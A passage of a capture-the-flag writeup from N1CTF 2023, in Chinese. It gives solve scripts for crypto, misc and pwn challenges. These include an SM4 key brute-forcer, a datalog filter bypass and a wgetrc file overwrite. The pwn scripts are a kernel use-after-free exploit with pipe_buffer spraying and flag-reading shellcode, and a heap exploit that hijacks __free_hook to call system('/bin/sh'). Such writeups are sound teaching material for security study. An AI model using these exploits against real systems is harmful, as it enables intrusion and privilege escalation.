17849614355900063808676124131118524997648354206170318621124380526614805924516446357913811050522125018804909585953790699698679819231112783249469477815502583, 6234389585613390991135923692863461447834739229259508233031228485187148629433094293262051827315840441484915246883666958651829552776346022719552733639725859, 7182121509006557499447407077345122412252018433797810895029451443225148321291242333489049265373361789052227738364702526754237606296484295417138966575888620, 19443880794014015420496260746566073718343224434504374185068813973081417513109615969506188667312188330969026502853036477823357874546093944860308749378123928, 8610303641124717889797443991956065248854876119400852317050875401537697893222693042608150518545123647005489128320318966059078814197980338543782093101929224, 18189657344522443517634178377315677739510993410467142695783340446334277100937541656038062664291573406146510812487138250282486667881441610169897763672518408, 12769524103064286110212485914744234557661966027173832097660581933836555038208706049841496544538548805882474347935602024737964843349772194256842191540878086, 8837434246318895916502293154110755972578717505950918004207279182412126578654858700979631762130823953557115254349577580538115563409772264268979590595878524, 19324198363953550925352268785176812194820419776972184980422284004516526551007702906947369233188769325685359100956902685342281892761746398096459283611700095, 6544445567585062391464238427740831918741801645901527392514359075570599386771893563973143304579733482518738394336251452408151054963276267458950864806421915, 19782164233646334359930792109811656791481571002302250069139549412842329364251080190727840483682229477400959169150663946355487669296131135025201043628456335, 24654727725994844473826157374327181005851067287265041892193560204158822169009982864716885228605931835154647930183426777271783324333532822986533226774265086, 11367700001184727702364259455710809696637145104881210683804803367907200276580882752977849415635463172339466011893449395308545212142141640106372598386717261, 7723357198545349821668979812671919910417796683836887116266560251282651027720737135635979056834665568049760420980280728405309337034762896171899580477002480, 21398687418697553578835459574840055346093502401109142628407521730770084196036749208195098924950079373674925283343188798074486306048809474454183994166974180, 16997038318816588635791819758541930890463030604684975995073453198114844532260969787929803990886438751158525116987184266958684749309609812361482795034864096, 4339399156132604150366164967401687799312125851272253539871718904995918292027308581839413327378932125753131966061907025562614788546630253997949558324058448, 3369244715664390907205531559411845140890026328037629605723521148667020393715678923998551404622131810559215463034330330056308421521633103928524691746117099, 1431673693086038692849537020631139597717739498569241557398192918130148683292292541696331760602755635390901527814481898826581528948318112412965942130662713, 12234491823547381535997745515100483987995055441921296380992354195976960740646886352979059304804649147370413146364909702622931536826695947352658073790958002, 20486544185673750188304644898717013329823792586834957536128145997362582227897781470171626317727958238504761010301781904015009865573784192019736553383956769, 19827763312631414631212341139803235237154761708691725840571357267274608976060420778014253451501335223474450356164637855273778227266125134233045237066067434, 6225563269029485616119328001022633060438304908294870484531262879807569345416136295093046641268484528633153018409094729356768533533009982065511740218322723, 20851355942845687286463902725276963337328262850967710843229819166674693086805559557131450566280824216213603045942500787564210001753540293538067758105213824, 19394814006961873736995866791673787881673571723123879095396834450906913938500266583807089149936580351387233972803876110326286848054332995476891966322678221, 22452100713584112241141868307578989327346305836951368987277589917832465013986855428179035785439557617531138257918255772862364701748005219968215969119420307]
p = 25070940894294854944213724808057610995878580501834029791436842569011975159898869595617649716256078890953233822913946718277574163417715224718477846001735447

sample_number = len(messages)
flag_len = 159

m_vecs = [int2zzvector(num) for num in messages]
base_power_vals = [ZZ(pow(0x10001, 2**i, p)) for i in range(flag_len)][::-1]
Zp = GF(p)

M = matrix(ZZ , m_vecs).T

# adding extra equation x1 + x2 + .. + x200 = 0
M = M.insert_row(0, [1]*sample_number)

# solve bit by bit , high bit is 1
flagbit = "1"
for i in tqdm(range(1, flag_len)):
    t = vector(ZZ, [0 for j in range(flag_len + 1)])
    t[i + 1] = 1
    sol = M.solve_right(t)
    # get integer solutions
    denoms = set()
    for y in sol:
        denoms.add(y.denom())
    max_denom = max(denoms)
    integer_sol = max_denom * sol
    integer_target = max_denom * t
    assert M * integer_sol == integer_target
    assert sum(integer_sol) == 0
    
    final_c = 1
    for idx, num in enumerate(integer_sol):
        final_c *= ZZ(pow(enc[idx], num, p))
        final_c %= p
    # print(integer_target)
    # print(ZZ(final_c))
    # print(ZZ(pow(base_power_vals[i], -max_denom, p)))
    if ZZ(final_c) == ZZ(pow(base_power_vals[i], max_denom, p)):
        flagbit += "0"
    else:
        assert (final_c * ZZ(pow(base_power_vals[i], max_denom, p))) % p ==  1
        flagbit += "1"
    
flag = int(flagbit,2).to_bytes(20,"big")
print(flag)

e2$m4

Sovled by: tl2cents, zjlhhh123, Ichild

完整 c 代码和后续脚本之后更新到个人博客(https://tl2cents.github.io/)
非预期,爆破轮密钥即可,每个轮密钥 32 比特,恢复 4 个轮密钥的实际复杂度为 $$2^{34}$$。 验证轮密钥正确性的方法如下,每轮加密的流程为下面两个步骤

  1. tfunc : buf[i+4] = buf[i] ^ tfunc(buf[i+1]^buf[i+2]^buf[i+3]^rk[i]) , 与轮密钥相关,与 dance time 无关。
  2. pfunc : buf[i+1:i+5] = pfunc(buf[i+1:i+5]),与轮密钥无关,与 dance time 有关。

假设 dance time 为 31,30 的两个相同明文加密的密文为 c1,c2。最后一次使用的 dance sbox 是相同的,我们穷举最后一轮的轮密钥, 将其解密一个 round,此时我们得到可能的在第 31 轮加密后密文 c1_t , c2_t ,此时 pfunc 使用的 dance box 是不一样的,注意到 pfunc 与轮密钥无关,因此我们再继续把 c1_t, c2_t 经过逆 pfunc 的过程得到 c1_final, c2_final,此时如果我们选取的最后一轮轮密钥 rk 是正确的,那么得到的两个密文 c1_final, c2_final 应该是完全相同的!(前面 30 轮加密完全相同)

恢复连续四轮轮密钥,即可恢复整个 32 轮的轮密钥。

修改 sm4 的开源 c 代码 https://github.com/siddontang/pygmcrypto/blob/master/src/sm4.c
关键 brute 函数

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
static void pfunc_inverse(unsigned int ulbuf[4])
{
    // the ulbuf is in reverse order
    unsigned char a[4];
    unsigned char b[4];
    for (unsigned char i = 0; i < 4; i++)
    {
        int box_idx = dance_table[dance_idx][3 - i];
        PUT_UINT32_BE(ulbuf[i], a, 0)
        for (int j = 0; j < 4; j++)
        {
            a[j] = rot18(a[j], 5 - j);
            b[j] = (unsigned char)Dance_Box_Inverse[box_idx][a[j]];
        }
        GET_UINT32_BE(ulbuf[i], b, 0)
    }
}

void inverse_one_round(unsigned int state[4], unsigned int sk, unsigned int dancebox_index)
{
    dance_idx = dancebox_index;
    pfunc_inverse(state);
    unsigned int prev = sm4F(state[0], state[1], state[2], state[3], sk);
    for (int i = 0; i < 3; i++)
    {
        state[i] = state[i+1];
    }
    state[3] = prev;
}

unsigned int brute_round_key_with_verify(
    unsigned char ct1[16], unsigned char ct2[16], 
    unsigned char v1[16], unsigned char v2[16], 
    unsigned int st, unsigned int ed)
{
    // ct1, dance time = 31
    // ct2, dance time = 30
    unsigned int state1[4];
    unsigned int state2[4];
    unsigned int sk = st;
    printf("Brute force interval:  %08x - %08x !\n", st, ed);
    for (; sk < ed; sk++)
    {
        // log process by sk / 0xffffffff
        long int space = ed - st;
        if (sk % (1<<16) == 0)
        {
            printf("\r process : %08x / %08x", sk, space);
        }

        // memcpy(state1, ct1, sizeof(unsigned int) * 4);
        // memcpy(state2, ct2, sizeof(unsigned int) * 4);
        GET_UINT32_BE(state1[0], ct1, 0);
        GET_UINT32_BE(state1[1], ct1, 4);
        GET_UINT32_BE(state1[2], ct1, 8);
        GET_UINT32_BE(state1[3], ct1, 12);
        GET_UINT32_BE(state2[0], ct2, 0);
        GET_UINT32_BE(state2[1], ct2, 4);
        GET_UINT32_BE(state2[2], ct2, 8);
        GET_UINT32_BE(state2[3], ct2, 12);
        inverse_one_round(state1, sk, 1);
        inverse_one_round(state2, sk, 1);
        dance_idx = 0;
        pfunc_inverse(state1);
        dance_idx = 1;
        pfunc_inverse(state2);
        if (state1[0] == state2[0] && state1[1] == state2[1] && 
            state1[2] == state2[2] && state1[3] == state2[3])
        {
            printf("\n");
            printf("possible key : 0x%08x\n", sk);
            // verify
            unsigned int state3[4];
            unsigned int state4[4];
            GET_UINT32_BE(state3[0], v1, 0);
            GET_UINT32_BE(state3[1], v1, 4);
            GET_UINT32_BE(state3[2], v1, 8);
            GET_UINT32_BE(state3[3], v1, 12);
            GET_UINT32_BE(state4[0], v2, 0);
            GET_UINT32_BE(state4[1], v2, 4);
            GET_UINT32_BE(state4[2], v2, 8);
            GET_UINT32_BE(state4[3], v2, 12);
            inverse_one_round(state3, sk, 1);
            inverse_one_round(state4, sk, 1);
            dance_idx = 0;
            pfunc_inverse(state3);
            dance_idx = 1;
            pfunc_inverse(state4);
            if (state3[0] == state4[0] && state3[1] == state4[1] && 
                state3[2] == state4[2] && state3[3] == state4[3])
            {
                // log sk
                printf("\n");
                printf("round key = 0x%08x\n", sk);
                // saved to file
                return sk;
            }
        }
    } 
    printf("\n");
    printf("Brute force failed!\n");
    return 0;
}

4 min 恢复 round key

N1CTF 2023 Writeup by Never Stop Exploiting

Misc

guess by cyberutopian

Sovled by: thiner, ucasqsl

souffle是一种datalog类语言。简而言之,这门语言使用一阶谓词逻辑的推演作为控制流。学习过程省略(大三的一门叫人工智能基础的课就会讲)。

.functor hash1(x:symbol):number
.functor hash2(x:symbol):number
.functor GETFLAG():symbol

.decl SALT(x:symbol)
//SALTS
.output SALT

.decl FLAG(x:symbol)
FLAG(@GETFLAG()).
.decl HINT(x:symbol)
HINT(substr(x,0,4)) :- FLAG(x).

.decl HASH(x:number)
HASH(@hash1(x)) :- FLAG(x).

.decl SALT_HASH1(h:number,s:symbol)
SALT_HASH1(h,s) :- h=@hash1(cat(flg,s)),FLAG(flg),SALT(s).


.decl SALT_HASH2(h:number,s:symbol)
SALT_HASH2(h,s) :- h=@hash2(cat(flg,s)),FLAG(flg),SALT(s).

.decl GUESS(x:symbol)
//GUESS
.output GUESS(attributeNames="ans")
.limitsize GUESS(n=1)

FLAG和GUESS以及HINT, SALT_HASH1, SALT_HASH2都是一阶谓词,带上参数表示命题。@hash1, @hash2, @GETFLAG是出题人写的库里的函数
简单来说,我们需要找到一种推理规则,使得这个推理规则能够推理出GUESS(flag)。
我们已知FLAG(flag)成立,那么直接来说我们写

GUESS(x) :- FLAG(x)

就应该能获得flag了。正是在此时我们发现了题目屏蔽了一些字符

1
2
3
4
5
6
7
8
9
# check user guess rules
def check_user_rules(r:str):
    if len(r) > 300:
        raise RuntimeError("rule too looong")
    e=r.encode()
    ban_chars=b'Ff.'
    for i in e:
        if i>0x7f or i<0x20 or i in ban_chars:
            raise RuntimeError("illegal char in rule")

如果字母F被屏蔽了,那么FLAG命题和GETFLAG函数都没法调用了。

因此,我们需要使用HINT, SALT_HASH1, SALT_HASH2等来恢复出flag。
从哈希恢复出flag的思路很不可能,因为哈希函数每个字符处都会把累积变量乘上一个偶数,因此32个字符开外的东西无法对哈希造成影响。

我们在查看souffle文档的时候发现了以下内容

https://souffle-lang.github.io/types#type-conversion

Converts the expression as(a, Variable) to an expression of type Variable although a is of type VariableOrStackIndex.   Note that type casts between numbers and symbols are particular  dangerous because strings for certain ordinal numbers may not exist.  E.g., the fact A(as(1034234234, symbol).  most likely will cause troubles in conjunction with an output directive  since a symbol with ordinal number 1034234234 may not exist.

这段话说字符串和整数之间的转换很危险。危险的东西是我们的好朋友,盲猜字符串的数字表示形式是指针。我们拿着一个字符串,加个偏移就可能能拿到flag。
不过,我们尝试打印SALT字符串的时候发现数字表示形式实际上是0 1 2 3 … 10这种编号。
我们试了以下payload来试图拉取flag

SALT_HASH1(_,_), u = max t: {SALT(s), t=as(s,number)}, x = as(u+1,symbol)

发现,flag能拉到,但是GUESS因为在输出里不是第一个出现,会被服务器报错。

Souffle error? b'---------------\nSALT\nx\n===============\no/os2q/qqF9ithosyo0Wqo/9o/D8l.\nrysnq0q9yim/.t2.gs8e0wc2//tys\n200q.qygtmqn0qqo9a0sn2i\ns7y.m806eqyqe7lq92.q://.n6\n===============\n---------------\nGUESS\nans\n===============\n0c0f8d1094b913ff787b3e23a5b4e125ada00e0fbdb8d017a2a6790ca9e27123\n===============\n'

后来我们聪明了,学会使用HINT而不是SALT了(因为HINT只依赖FLAG)

HINT(s), x = as(as(s, number)-1,symbol)

这就过了。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import hashlib
import re

host = '175.27.227.209'
port = 13337

# Connect to the server
r = remote(host, port)

def check_proof_of_work(prefix, suffix, expected):
    return hashlib.sha1(f'{prefix}{suffix}'.encode()).hexdigest() == expected

# Receive the challenge from the server
challenge = r.recvline().decode().strip()
# Extract the suffix and expected hash from the challenge
suffix, expected = re.search(r'sha1\(prefix\+"(.+)"\)==(.+)', challenge).groups()

# Use pwntools's mbruteforce to find the correct prefix
# This will try all combinations of the characters in '0123456789abcdef' with a length of 1-6
# until it finds a combination that makes check_proof_of_work return True
prefix = iters.mbruteforce(lambda x: check_proof_of_work(x, suffix, expected), '0123456789abcdef', 6, 'fixed')

# Send the prefix to the server
r.sendline(prefix)

r.recvuntil("rules?")

r.sendline("HINT(s), x = as(as(s, number)-1,symbol)")
r.interactive()

"""
$ python3 exp.py
[+] Opening connection to 175.27.227.209 on port 13337: Done
[+] MBruteforcing: Found key: "ba6c29"
[*] Switching to interactive mode

guess 0 is correct
...
guess 35 is correct
Congratulations! Here is your flag:
n1ctf{cyberutopian_6e3e4429a96600cc8982e3606b33d71c115fbe87}[*] Got EOF while reading in interactive

"""

downloader

Sovled by: surager

通过 .wgetrc 指定下载目录以及 timestamping (用于覆盖文件)。

dir_prefix = /app
add_hostdir = off
timestamping = on

然后写一个 run.sh 用于覆盖 /app/run.sh

1
2
3
#!/bin/bash
chmod +x /app/pwn
/readflag

结束。

Pwn

n1canary

Sovled by: Csome, surager

题目没给 libc,没开 PIE,Partial RELRO。题目本身也开了 canary。有 backdoor,C++ 自己写了个 BOFApp。开局输入一个 64 字节的 canary,然后取对象开始执行。
有try catch,可以用以下 payload 触发任意 call:b"1" * (0x68) + p64(0x403407) + p64(A)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
# a = process("./a.out")
a = remote("43.132.193.22",9998)

payload = p64(0x4f4aa0) + p64(0x403387)
payload = payload.ljust(64,b"a")
a.send(payload)
#user_canary 0x4f4aa0
# payload = b"a"*104+p64(0x48)
payload = b"1"*0x68+p64(0x403407)+p64(0x4f4aa0)
pause()
a.sendlineafter(b"input something to pwn",payload)
a.interactive()

n1sub

Sovled by: V1me, hawk

UAF,但是随机大小,随机偏移。
Vuln buf 分配的 flag 带有 GFP_KERNEL_ACCOUNT,所以可以用 pipe_buffer。
又因为 pipe_buffer 可以 resize,所以可以 cover 住很多随机的 size。
所以思路就是触发 vuln buf 的 free,喷上各种 size 的 pipe_buffer。
然后使用 pipe_primitive,有 0x8/0x28 也就是 1/5 的概率能改到 flag。
把 flag 的最低字节改成 0x10 即可。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <stdarg.h>

#define PIPE_SPRAY 100
#define STEP 4

int devfd = -1;
char *tmp_buf = NULL;
int pipe_fds[PIPE_SPRAY][2];
int busybox_fd = -1;

char x_buf[0x1000];
// char shellcode[] = {106, 104, 72,  184, 47,  98,  105, 110, 47,  47, 47,  115, 80, 72,  137, 231,
//                     104, 114, 105, 1,   1,   129, 52,  36,  1,   1,  1,   1,   49, 246, 86,  106,
//                     8,   94,  72,  1,   230, 86,  72,  137, 230, 49, 210, 106, 59, 88,  15,  5};

/*
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

sc = shellcraft.amd64.linux.open("/flag", 0, 0)
sc += shellcraft.amd64.linux.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.linux.write(1, "rsp", 0x100)

sc = asm(sc)

print([i for i in sc])
*/
char shellcode[] = {72,  184, 1,  1,  1,   1,   1,  1,   1,   1,   80,  72, 184, 46,  103, 109, 96,
                    102, 1,   1,  1,  72,  49,  4,  36,  72,  137, 231, 49, 210, 49,  246, 106, 2,
                    88,  15,  5,  72, 137, 199, 49, 192, 49,  210, 182, 1,  72,  137, 230, 15,  5,
                    106, 1,   95, 49, 210, 182, 1,  72,  137, 230, 106, 1,  88,  15,  5};

void prepare_pipes() {
    for (int i = 0; i < PIPE_SPRAY; i++) {
        if (pipe(pipe_fds[i]) < 0) {
            printf("[-] pipe failed\n");
            exit(-1);
        }
    }
}

void do_exploit_once() {
    int ret_offset = 0;
    int ret;
    loff_t offset = 0x1ea400;

    devfd = open("/dev/n1sub", O_RDWR);
    if (devfd < 0) {
        printf("[-] open /dev/n1sub failed\n");
        exit(-1);
    }
    busybox_fd = open("/bin/busybox", O_RDONLY);
    if (busybox_fd < 0) {
        printf("[-] open /bin/busybox failed\n");
        exit(-1);
    }
    ret = ioctl(devfd, 0xDEADBEE0, &ret_offset);
    if (ret < 0) {
        printf("[-] ioctl failed\n");
        exit(-1);
    }

    printf("[+] ret_offset: 0x%x, mod: 0x%x\n", ret_offset, ret_offset % 0x28);
    if (ret_offset % 0x28 != 0x18) {
        printf("[-] ret_offset error\n");
        exit(-1);
    }
    ret = ioctl(devfd, 0xDEADBEE1, 0);
    for (int i = 0; i < STEP; i++) {
        fcntl(pipe_fds[i][1], F_SETPIPE_SZ, 0x2000);
        fcntl(pipe_fds[i + STEP][1], F_SETPIPE_SZ, 0x4000);
        fcntl(pipe_fds[i + STEP * 2][1], F_SETPIPE_SZ, 0x8000);
        fcntl(pipe_fds[i + STEP * 3][1], F_SETPIPE_SZ, 0x10000);
        fcntl(pipe_fds[i + STEP * 4][1], F_SETPIPE_SZ, 0x20000);
        fcntl(pipe_fds[i + STEP * 5][1], F_SETPIPE_SZ, 0x40000);
    }
    int idx = (ret_offset + 0x10) / 0x28 - 1;
    for (int i = 0; i < STEP; i++) {
        if (idx < 2) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
        if (idx < 4) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i + STEP][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i + STEP][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
        if (idx < 8) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i + STEP * 2][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i + STEP * 2][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
        if (idx < 16) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i + STEP * 3][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i + STEP * 3][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
        if (idx < 32) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i + STEP * 4][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i + STEP * 4][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
        if (idx < 64) {
            for (int j = 0; j <= idx; j++) {
                // write(pipe_fds[i + STEP * 5][1], tmp_buf, 0x1000);
                if (splice(busybox_fd, &offset, pipe_fds[i + STEP * 5][1], NULL, 1, 0) < 0) {
                    printf("[-] splice failed\n");
                    exit(-1);
                }
            }
        }
    }
    for (int i = 0; i < 0xf0; i++) {
        ioctl(devfd, 0xDEADBEE2, 0);
    }
    memset(x_buf, '\x90', 0x1000);
    memcpy(x_buf + 0x500, shellcode, sizeof(shellcode));
    // memset(tmp_buf, 0, 0x1000);
    for (int i = 0; i < STEP * 6; i++) {
        write(pipe_fds[i][1], x_buf + 0x400, 0x200);
    }
    printf("[+] exploit done\n");
    exit(0);
}

void do_exploit() {
    prepare_pipes();
    do_exploit_once();
}

int main() {
    printf("[+] exploit start\n");
    tmp_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (tmp_buf == MAP_FAILED) {
        printf("[-] mmap failed\n");
        exit(-1);
    }

    do_exploit();
    while (1) {
        sleep(1);
    }
}

// n1ctf{336e40249ee489c22e4ab2c3}

n1array

Sovled by: C10-v, eqqie

主要还是逆向工作。
题目大体维护了一个hash表,每个表项对应一个array
每个array有一个name(用于hash索引),有一个type(byte)数组和value(int)数组。理论上这两个数组应该等长。
然而value有两种模式,在输入的时候可以选择:

  1. 正常数组,用户自己输入每一位的值
  2. default数组,用一个输入的位(记为is_default)来标记,如果置位,则认为这个数组的所有值都是用户输入的default值。且用户无需在后面输入每一位的值,即这个输入占空间很短。
N1CTF 2023 Writeup by Never Stop Exploiting

用户在输入的时候,可以输入三种atom(name,type,value),顺序不限,次数不限,理论上后输入的会覆盖前输入的。

但是看parsevalue,当先输入一个正常的value数组(记为value1),再输入一个default数组(记为value2),可以发现,array->value.buf指向第一个输入的value1_atom.buf,但是array->num会被置为第二个输入的value1_atom.nelts。

N1CTF 2023 Writeup by Never Stop Exploiting

当atom懂读取完,会根据array->value.buf是否有值来设置array->num;继续观察printvalue和editvalue时,发现这两个函数判断是不是default数组的逻辑依据是array->value.buf。

N1CTF 2023 Writeup by Never Stop Exploiting N1CTF 2023 Writeup by Never Stop Exploiting N1CTF 2023 Writeup by Never Stop Exploiting

也就是说,我们可以用value2_atom.nelts的长度去索引value1_atom.buf,而value2_atom.nelts基本没什么限制,所以就有了堆上的任意读写。
那么题目就简单了,首先通过溢出读,利用unsortedbinleak,来泄露libc地址,并且其他的堆块上是有指向堆的指针的,所以也可以泄露堆地址。
然后通过溢出写,在array1->value.buf[]上editval溢出到临近的array2上可以edit的value或者type指针,写成目标地址addr,最后在array2上editval,就能在目标地址addr上任意写东西了。
libc2.31-0ubuntu9.7_amd64,有freehook。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *

context.log_level = "debug"

#p = process(["./ld-2.31.so", "--preload", "./libc-2.31.so", "./pwn"])
p = remote("chall-6b73445766645053.sandbox.ctfpunk.com", 22258)
libc = ELF("./libc-2.31.so")
#p = process(["./pwn"])

def value_atom(nelts, value:list, is_def=False, def_val=0xdeadbeef):
    # len | type | is_def | def_val | nelts | value
    value_data = b"".join([p32(i) for i in value])
    tmp = p32(1) + p32(1 if is_def else 0) + p32(def_val) + p32(nelts) + value_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def type_atom(nelts, type:list):
    # len | type | nelts | type
    type_data = b"".join([p8(_t) for _t in type])
    tmp = p32(2) + p32(nelts) + type_data
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def name_atom(name:bytes):
    # len | type | name_len | name
    tmp = p32(3) + p32(len(name)) + name
    tmp = p32(4 + len(tmp)) + tmp
    return tmp

def input_data(atom_data:bytes):
    p.sendlineafter(b"cmd>>", b"0")
    p.recvuntil(b"input data of array atom>>")
    atom_data = p32(0) + atom_data
    p.send(p32(4 + len(atom_data)))
    p.send(atom_data)
    
def print_array(arr_name):
    p.sendlineafter(b"cmd>>", b"1")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    
def remove(arr_name):
    p.sendlineafter(b"cmd>>", b"2")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)

def edit_value(arr_name, idx, new_val):
    p.sendlineafter(b"cmd>>", b"3")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Val: \n")
    p.sendline(str(new_val).encode())
    
def edit_type(arr_name, idx, new_type):
    p.sendlineafter(b"cmd>>", b"4")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index: \n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Input New Type: \n")
    p.sendline(str(new_type).encode())
    
def add(arr_name, idx1, idx2):
    p.sendlineafter(b"cmd>>", b"5")
    p.recvuntil(b"input name>>")
    p.sendline(arr_name)
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx1).encode())
    p.recvuntil(b"Input Index1: \n")
    p.sendline(str(idx2).encode())

# 0x555555554000+0x5030
# 0x000055555555a2a0

def exp():
    #gdb.attach(p, "b *0x7ffff7fc3000+0x16A4\nc\n")
    paylaod = type_atom(256, [2]*256) + name_atom(b"AAAA\x00") + value_atom(1, [0xabcd]) + value_atom(256, [], True, 0xdeadbeef)
    input_data(paylaod)

    paylaod = type_atom(256, [2]*256) + name_atom(b"BBBB\x00") + value_atom(256, [0xaaaa]*256)
    input_data(paylaod)
    remove(b"BBBB")

    print_array(b"AAAA")

    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    #print(hex(arr[13]))
    #print(hex(arr[12]))
    #print(hex(arr[11]))
    heap_leak = ((arr[13] & 0xff) << 8*5) | (arr[12] << 8) | ((arr[11] & 0xff000000) >> 8*3)
    libc_leak = ((arr[47] & 0xff) << 8*5) | (arr[46] << 8) | ((arr[45] & 0xff000000) >> 8*3)
    print("heap_leak:", hex(heap_leak))
    print("libc_leak:", hex(libc_leak))
    libc_base = libc_leak - 0x1ecbe0
    system = libc_base + libc.sym["system"]
    free_hook = libc_base + libc.sym["__free_hook"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))

    paylaod = type_atom(1, [2]*1) + name_atom(b"CCCC\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    paylaod = type_atom(1, [2]*1) + name_atom(b"DDDD\x00") + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    remove(b"CCCC")
    remove(b"DDDD")

    print_array(b"AAAA")
    p.recvuntil(b"array AAAA: ")
    arr_data = p.recvuntil(b"]")
    arr_data = arr_data.replace(b" ", b",").decode()
    arr = eval(arr_data)
    print("get arr: ", arr)
    part1 = arr[105]
    part2 = arr[106]
    part3 = arr[107]
    print("part1:", hex(part1))
    print("part2:", hex(part2))
    print("part3:", hex(part3))
    tmp_hook = free_hook-8
    w_part1 = (part1 & 0x00ffffff) | ((tmp_hook & 0xff) << 8*3)
    w_part2 = (tmp_hook & 0x00ffffffff00) >> 8
    w_part3 = (part3 & 0xffffff00) | ((tmp_hook & 0xff0000000000) >> 8*5)
    print("w_part1:", hex(w_part1))
    print("w_part2:", hex(w_part2))
    print("w_part3:", hex(w_part3))
    edit_value(b"AAAA", 105, w_part1)
    edit_value(b"AAAA", 106, w_part2)
    edit_value(b"AAAA", 107, w_part3)

    paylaod = type_atom(1, [2]*1) + name_atom(b"/bin/sh;"+p64(system)) + value_atom(1, [0xaaaa]*1)
    input_data(paylaod)
    #paylaod = type_atom(1, [2]*1) + name_atom(p64(system)) + value_atom(1, [0xaaaa]*1)
    #input_data(paylaod)

    print("free_hook:", hex(free_hook))

    remove(b"/bin/sh;"+p64(system))

